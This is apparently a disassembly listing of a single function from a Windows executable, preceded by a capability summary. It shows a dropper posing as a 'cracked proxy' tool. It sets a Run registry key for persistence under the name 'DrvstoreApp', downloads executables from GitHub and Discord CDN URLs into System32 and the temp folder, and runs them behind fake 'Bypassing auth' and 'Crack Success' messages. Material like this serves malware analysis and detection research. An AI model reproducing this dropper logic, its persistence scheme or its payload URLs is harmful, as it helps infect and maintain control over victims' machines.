Function at 0x140002260
Capabilities:
Check if file exists
Create process on windows
Delete file
Download url
Get common file path
Get file attributes
Move file
Persist via run registry key
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
xor r14d, r14d
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea rbx, str.C:WindowsSystem32drvstore.exe
lea edi, [r14 + 1]
test eax, eax
jne 0x140002312
mov dword [rsp + 0x28], 0x42
mov qword [rsp + 0x20], rbx
mov r9d, edi
xor r8d, r8d
lea rdx, str.DrvstoreApp
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rbp + 0x2b0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1400023bd
lea r8, [rbp + 0x2b0]
mov edx, 0x104
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, str.drvstore.exe
mov edx, 0x104
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002370
test al, 0x10
je 0x14000239e
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0xa0]
lea rdx, str.https:__github.com_jiksen1337_Jiksen_raw_main_system32.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rdx, rbx
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, str.Select_proxy_n1._Kulo_Proxy_n2._Spare_Proxy_n3._Tayfa_Proxy_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400037d0
lea rdx, str.Enter_the_proxy_number:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400037d0
lea rdx, [rbp]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t___std::wcin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r14
mov qword [rbp + 0x20], 7
mov word [rbp + 8], r14w
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r14w
mov ecx, dword [rbp]
sub ecx, 1
je 0x14000254c
sub ecx, 1
je 0x1400024d1
cmp ecx, 1
je 0x140002453
lea rdx, str.Invalid_proxy_number._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400037d0
jmp 0x14000334a
lea r9, str.Tayfa_Proxy
mov edx, 0xb
lea rcx, [rbp + 8]
call fcn.140003c90
mov r13d, 0xa
mov rax, qword [rbp - 8]
cmp rax, 5
jb 0x1400024b0
lea rbx, [rbp - 0x20]
cmp rax, 7
cmova rbx, qword [rbp - 0x20]
mov qword [rbp - 0x10], 5
mov r8d, r13d
lea rdx, str.Tayfa
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + 0xa], r14w
lea r15, str.https:__github.com_realkize_Curse_Proxy_raw_main_TAYFA_20CRACKED.EXE
jmp 0x1400025b4
lea r9, str.Tayfa
mov edx, 5
lea rcx, [rbp - 0x20]
call fcn.140003c90
lea r15, str.https:__github.com_realkize_Curse_Proxy_raw_main_TAYFA_20CRACKED.EXE
jmp 0x1400025b4
lea r9, str.Spare_Proxy
mov edx, 0xb
lea rcx, [rbp + 8]
call fcn.140003c90
mov r13d, 0xa
mov rax, qword [rbp - 8]
cmp rax, 5
jb 0x14000252e
lea rbx, [rbp - 0x20]
cmp rax, 7
cmova rbx, qword [rbp - 0x20]
mov qword [rbp - 0x10], 5
mov r8d, r13d
lea rdx, str.Spare
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + 0xa], r14w
lea r15, str.https:__cdn.discordapp.com_attachments_1167704445627420682_1188161263482712074_Spare_Proxy.exe_ex65998468is65870f68hm823cfb4c747beae4e364d2920c56c3ff553560730d1811680d74d86ab3aeb104
jmp 0x1400025b4
lea r9, str.Spare
mov edx, 5
lea rcx, [rbp - 0x20]
call fcn.140003c90
lea r15, str.https:__cdn.discordapp.com_attachments_1167704445627420682_1188161263482712074_Spare_Proxy.exe_ex65998468is65870f68hm823cfb4c747beae4e364d2920c56c3ff553560730d1811680d74d86ab3aeb104
jmp 0x1400025b4
lea r9, str.Kulo_Proxy
mov r13d, 0xa
mov edx, r13d
lea rcx, [rbp + 8]
call fcn.140003c90
mov rcx, qword [rbp - 8]
cmp rcx, 4
jb 0x140002598
lea rax, [rbp - 0x20]
cmp rcx, 7
cmova rax, qword [rbp - 0x20]
mov qword [rbp - 0x10], 4
movabs rcx, 0x6f006c0075004b
mov qword [rax], rcx
mov word [rax + 8], r14w
jmp 0x1400025ad
lea r9, str.Kulo
mov edx, 4
lea rcx, [rbp - 0x20]
call fcn.140003c90
lea r15, str.https:__cdn.discordapp.com_attachments_1167704445627420682_1187845215873159259_KULO_CRACKED.EXE_ex65985e10is6585e910hma4aeb930eeb242a401ec4810cb972aeadd36a060a175db90c99c809cb3046463
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov r8, qword [rbp - 0x10]
lea rcx, [rsp + 0x50]
call fcn.140003fd0
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.1400049d8
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140003419
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x14000264d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002648
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002648
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
lea r8, [rbp + 8]
lea rdx, str.Connecting_to
lea rcx, [rsp + 0x70]
call fcn.1400039b0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
mov ebx, 0x2e
cmp rax, 1
jb 0x14000269d
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x140002692
mov rax, qword [rcx]
mov word [rax + rdx*2], bx
mov word [rax + r8*2], r14w
jmp 0x1400026b4
mov qword [rsp + 0x20], rdi
lea r9, [0x140006628]
mov rdx, rdi
call fcn.140003e00
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 7
mov word [rcx], r14w
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea rcx, str.____s_n
call fcn.140001010
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140002748
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002743
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002743
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
movdqa xmm0, xmmword [0x140006e90]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400027a0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000279b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000279b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 0x14
lea rdx, str.Found_all_addresses_
lea rcx, [rsp + 0x70]
call fcn.140003fd0
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, str.____s_n
call fcn.140001010
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002832
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000282d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000282d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 0xf
lea rdx, str.Bypassing_auth.
lea rcx, [rsp + 0x70]
call fcn.140003fd0
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, str.____s_n
call fcn.140001010
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400028c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 8]
lea rdx, str.Making_subscription_to
lea rcx, [rsp + 0x70]
call fcn.1400039b0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x14000291a
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x14000290f
mov rax, qword [rcx]
mov word [rax + rdx*2], bx
mov word [rax + r8*2], r14w
jmp 0x140002931
mov qword [rsp + 0x20], rdi
lea r9, [0x140006628]
mov rdx, rdi
call fcn.140003e00
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 7
mov word [rcx], r14w
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea rcx, str.____s_n
call fcn.140001010
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400029c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
movdqa xmm0, xmmword [0x140006e90]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002a1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 0xe
lea rdx, str.Crack_Success_
lea rcx, [rsp + 0x70]
call fcn.140003fd0
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, str.____s_n
call fcn.140001010
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002aaf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002aaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002aaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x70]
call fcn.140003b30
mov rbx, rax
mov rdi, qword [rbp + 0x18]
lea r9, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova r9, qword [rbp + 8]
mov r14, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r14
cmp rdi, rax
ja 0x140002b22
lea rax, [rdi + r14]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 7
jbe 0x140002b04
mov rsi, qword [rbx]
lea rcx, [rsi + r14*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + r14]
xor r14d, r14d
mov word [rsi + rax*2], r14w
jmp 0x140002b38
mov qword [rsp + 0x20], rdi
mov rdx, rdi
mov rcx, rbx
call fcn.140003e00
mov rbx, rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdi, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
sub rax, rdi
cmp rax, 0xc
jb 0x140002bb1
lea rax, [rdi + 0xc]
mov qword [rbp - 0x38], rax
lea rbx, [rbp - 0x48]
cmp rcx, 7
cmova rbx, qword [rbp - 0x48]
lea rcx, [rbx + rdi*2]
mov r8d, 0x18
lea rdx, str._Cracked.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x18], r14w
lea rax, [rbp - 0x48]
jmp 0x140002bcf
mov qword [rsp + 0x20], 0xc
lea r9, str._Cracked.exe
mov edx, 0xc
lea rcx, [rbp - 0x48]
call fcn.140003e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova r8, qword [rsp + 0x50]
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140002c6c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
movdqa xmm0, xmmword [0x140006e90]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r14w
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140002cc3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
movdqa xmm0, xmmword [0x140006e90]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x48], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002d19
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
test ebx, ebx
js 0x140003347
mov dword [rbp + 0x30], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x88], xmm0
lea r12, [rbp - 0x20]
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 8]
cmp rdx, 7
cmova r12, rcx
mov r14, qword [rbp - 0x10]
movabs r8, 0x7ffffffffffffffe
mov rax, r8
sub rax, r14
cmp rax, 1
jb 0x140003428
lea r15, [rbp - 0x20]
cmp rdx, 7
cmova r15, rcx
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rsi, [r14 + 1]
mov ebx, 7
lea rdi, [rsp + 0x50]
cmp rsi, rbx
jbe 0x140002e2b
mov rbx, rsi
or rbx, 7
movabs rax, 0x7fffffffffffffff
cmp rbx, r8
jbe 0x140002dc8
mov rbx, r8
lea rcx, [rax + rax]
jmp 0x140002de9
cmp rbx, 0xa
cmovb rbx, r13
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x140003413
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002e15
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003413
mov rcx, rax
call fcn.140004e00
test rax, rax
je 0x1400030b8
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002e26
test rcx, rcx
je 0x140002e24
call fcn.140004e00
mov rdi, rax
jmp 0x140002e26
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea rbx, [r14 + r14]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], 0x2f
xor r14d, r14d
mov word [rdi + rsi*2], r14w
mov rdi, qword [rbp + 0x18]
lea r9, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova r9, qword [rbp + 8]
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x140002eb4
lea rax, [rdi + rsi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 7
cmova rbx, qword [rsp + 0x50]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
mov word [rbx + rax*2], r14w
lea rax, [rsp + 0x50]
jmp 0x140002ec6
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140003e00
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdi, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
sub rax, rdi
cmp rax, 0xc
jb 0x140002f3f
lea rax, [rdi + 0xc]
mov qword [rbp - 0x60], rax
lea rbx, [rbp - 0x70]
cmp rcx, 7
cmova rbx, qword [rbp - 0x70]
lea rcx, [rbx + rdi*2]
mov r8d, 0x18
lea rdx, str._Cracked.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x18], r14w
lea rax, [rbp - 0x70]
jmp 0x140002f5d
mov qword [rsp + 0x20], 0xc
lea r9, str._Cracked.exe
mov edx, 0xc
lea rcx, [rbp - 0x70]
call fcn.140003e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ebx, eax
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003017
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003012
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003012
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
movdqa xmm0, xmmword [0x140006e90]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r14w
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000306d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003068
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003068
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
movdqa xmm0, xmmword [0x140006e90]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400030c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
test ebx, ebx
je 0x140003347
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.140003b30
mov rbx, rax
mov rdi, qword [rbp + 0x18]
lea r9, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova r9, qword [rbp + 8]
mov r14, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r14
cmp rdi, rax
ja 0x140003156
lea rax, [rdi + r14]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 7
jbe 0x140003138
mov rsi, qword [rbx]
lea rcx, [rsi + r14*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + r14]
xor r14d, r14d
mov word [rsi + rax*2], r14w
jmp 0x14000316c
mov qword [rsp + 0x20], rdi
mov rdx, rdi
mov rcx, rbx
call fcn.140003e00
mov rbx, rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, rdi
cmp rax, 0xc
jb 0x1400031ef
lea rax, [rdi + 0xc]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 7
cmova rbx, qword [rsp + 0x50]
lea rcx, [rbx + rdi*2]
mov r8d, 0x18
lea rdx, str._Cracked.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x18], r14w
lea rax, [rsp + 0x50]
jmp 0x14000320e
mov qword [rsp + 0x20], 0xc
lea r9, str._Cracked.exe
mov edx, 0xc
lea rcx, [rsp + 0x50]
call fcn.140003e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003298
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003293
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003293
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
movdqa xmm0, xmmword [0x140006e90]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
